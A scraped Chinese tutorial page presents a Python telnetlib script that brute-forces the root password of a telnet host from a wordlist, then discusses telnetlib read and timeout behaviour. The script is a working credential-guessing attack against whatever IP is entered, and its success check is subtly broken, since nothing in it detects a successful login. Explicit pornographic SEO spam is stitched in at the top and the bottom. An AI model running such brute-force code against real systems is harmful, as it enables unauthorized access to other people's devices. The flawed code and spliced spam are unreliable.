好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > Python實現Telnet自動連接檢測密碼的示例

Python實現Telnet自動連接檢測密碼的示例

熱門標簽:電話機器人貸款詐騙 電話外呼系統招商代理 蘇州人工外呼系統軟件 打印谷歌地圖標注 廣東旅游地圖標注 京華圖書館地圖標注 佛山通用400電話申請 看懂地圖標注方法 淮安呼叫中心外呼系統如何

最近在學習Python網絡相關編程,這個代碼實現了Telnet自動連接檢測root用戶密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,屏幕輸出停止。

Python內置了telnetlib模塊,支持telnet遠程操作,只要直接import就可以。

代碼如下:

# encoding=utf-8
import telnetlib
import time
import sys
import os


def do_telnet(Host, Port, username, password, finish):
    # 連接Telnet服務器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)

    # 輸入登錄用戶名
    tn.read_until("login: ")
    tn.write(str(username) + '\n')

    # 輸入登錄密碼
    tn.read_until("Password: ")
    tn.write(str(password) + '\n')

    # 判斷密碼錯誤提示,如果沒有這個提示說明登錄成功
    if tn.read_until(finish):
        print("****** login incorrect!\n")
    tn.close()


if __name__ == '__main__':
    Host = input("IP:")  # Telnet服務器IP
    Port = input("Port:")  # Telnet服務器端口
    username = 'root'  # 登錄用戶名
    finish = 'incorrect'  # 密碼錯誤提示
    pw_file = open('.\\pw.txt', 'r+')  # 密碼文件
    Index = 0
    print(time.asctime(), ":   ****** begin", "\n")
    while True:
        password = pw_file.readline()
        Index += 1
        print(Index, time.asctime(), ":   ****** try", "", username, ":", password, "")
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

密碼本pw.txt,內容例如:

root  
admin  
12345  
888888 

輸出如下:

注:我這邊測試的目標主機是嵌入式linux系統,用戶名是root,密碼錯誤返回的是incorrect提示。你可能要根據目標系統不同修改用戶名和錯誤提示。

telnetlib提供好多方法可以得到數據,象read_until()是當結果中存在想要的信息時返回,read_some()是只要有結果就返回,read_very_lazy()是返回緩沖區中的數據。經過看代碼,telnetlib采用緩沖的處理方式,因此數據并不是一下子就返回的,而是先放在了緩沖區中。許多的讀取處理都是圍繞著這個緩沖區來的。而緩沖區的信息何時到達就不說不清楚了,也許很快,也許很慢,也許分別到達,也許一下子就收到了。因此,對于數據不一定到齊的這種情況,就采用了象read_until()來判斷緩沖區中的數據是否有想要的內容,如果沒有就等待,除非到達了超時時間。再有可以使用expect方法,與read_until差不多,但是它可以支持正則表達式,功能要強大得多。

在網上還有一個叫 Pexpect 它好象功能強大,它支持多種協議,它的主頁就建議使用 Pexpect 來下載它的文檔。不過因為網絡不太好就沒有下來,不知道支不支持 Telnet 協議。

上面的程序再配以 ftplib 的功能就可以做一個遠程更新的維護程序。只不過如何判斷后臺返回的信息,我沒有找到好的方法,是使用read_lazy()還是read_eager()呢?還是什么別的方法。最主要的問題是,返回的數據不一定完整。好象沒有提供一個read_line()的方法。

其中port和timeout是可選的參數,而timeout的只是在初始化socket連接時起作用,而一旦連接成功后如果出現等待那就不會起作用了,比如使用read_until方式獲取內容時返回的內容與指定的內容沒有吻合,那么就會造成提示等待的情況,這時timeout是不會起作用的,而這個socket連接會一直保持著,永生不死。

那么如何解決這個問題呢,其實還有一種比較原始的方法,就是使用sleep方法來代替read_until方法,這樣就不會出現種情況,因為到點就會自己輸入,最多也就是最后得不到想要的結果,但是這個方式很不穩定,兼容性也不好;另一種方法是使用線程來啟動這個函數,然后對子線程進行超時設置,這樣就可以達到間接控制這個telnet連接的目的了。

import threading  

th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))  
th1.start()  
th1.join(20)  ##20秒超時時間 

遇到的問題:

傳遞給Telnet方法的字符串都會被解一次碼,所以如果你傳遞過去需要write的字符串是已經解碼的unicode的話,那么就會報錯的,所以在傳遞發送的字符串之前還是先編成utf-8為妥,用ascii編碼也可以。

以上就是Python實現Telnet自動連接檢測密碼的示例的詳細內容,更多關于python Telnet自動連接檢測密碼的資料請關注腳本之家其它相關文章!

您可能感興趣的文章:
  • Python如何telnet到網絡設備
  • 如何在Python3中使用telnetlib模塊連接網絡設備
  • Python telnet登陸功能實現代碼
  • 使用python telnetlib批量備份交換機配置的方法
  • python 處理telnet返回的More,以及get想要的那個參數方法
  • 對python使用telnet實現弱密碼登錄的方法詳解
  • 使用python Telnet遠程登錄執行程序的方法
  • Python判斷telnet通不通的實例
  • Python實現telnet服務器的方法
  • Python實現的使用telnet登陸聊天室實例
  • python實現telnet客戶端的方法

標簽:江蘇 股票 駐馬店 湖州 衡水 畢節 呼和浩特 中山

巨人網絡通訊聲明:本文標題《Python實現Telnet自動連接檢測密碼的示例》,本文關鍵詞  Python,實現,Telnet,自動,連接,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《Python實現Telnet自動連接檢測密碼的示例》相關的同類信息!
  • 本頁收集關于Python實現Telnet自動連接檢測密碼的示例的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 美女全身没有衣服和内衣内裤| 美女逼逼视频| 很详细的肉肉床文过程片段视频| 日日干天天插| 久久国产亚洲精品| 99精品国产热久久91蜜月| 大长腿白丝被c到爽哭视频| 欧美一二三级| 国产精品久久久久久久久久久威 | 第一次整根进去| 肚兜解开揉捏娇乳H| 印度大肥妞bbwbbw| 一级毛片在线直接观看| 无码人妻一区二区三区线花季软件| 大学生第一次破女处出血原因| 白丝袜挠脚心视频vk| 两个男的互操| 美女黄色app| 欧美另类亚洲一区二区| 好紧太爽了再快点视频| 女友闺蜜4p夹好紧| 精品国婬伦V无码久久久禁果| 岳?好舒服?快?免老女人| 《被按摩的人妻4》BD高清完整版| 欧美黄区| 将军边走边挺进她的h| 国内精品在线播放| 波多野结衣一区二区| 韩漫无羞遮无删减H漫画私密授课| 在线视频午夜| K罩杯爆乳丰满女人在线观看| 韩国三级小视频| 精品成人无码亚洲AV大牛无码| 男人跟女人在做羞羞的视频| gay18无套禁18动漫网站| 久久香蕉国产线看观看99| 年代娇妻成了科技大佬| 引诱反派的正确方法藤萝为枝| 国产99久久久欧美黑人| 爆操白丝美女| 国产成人精品无码免费看夜聊软件|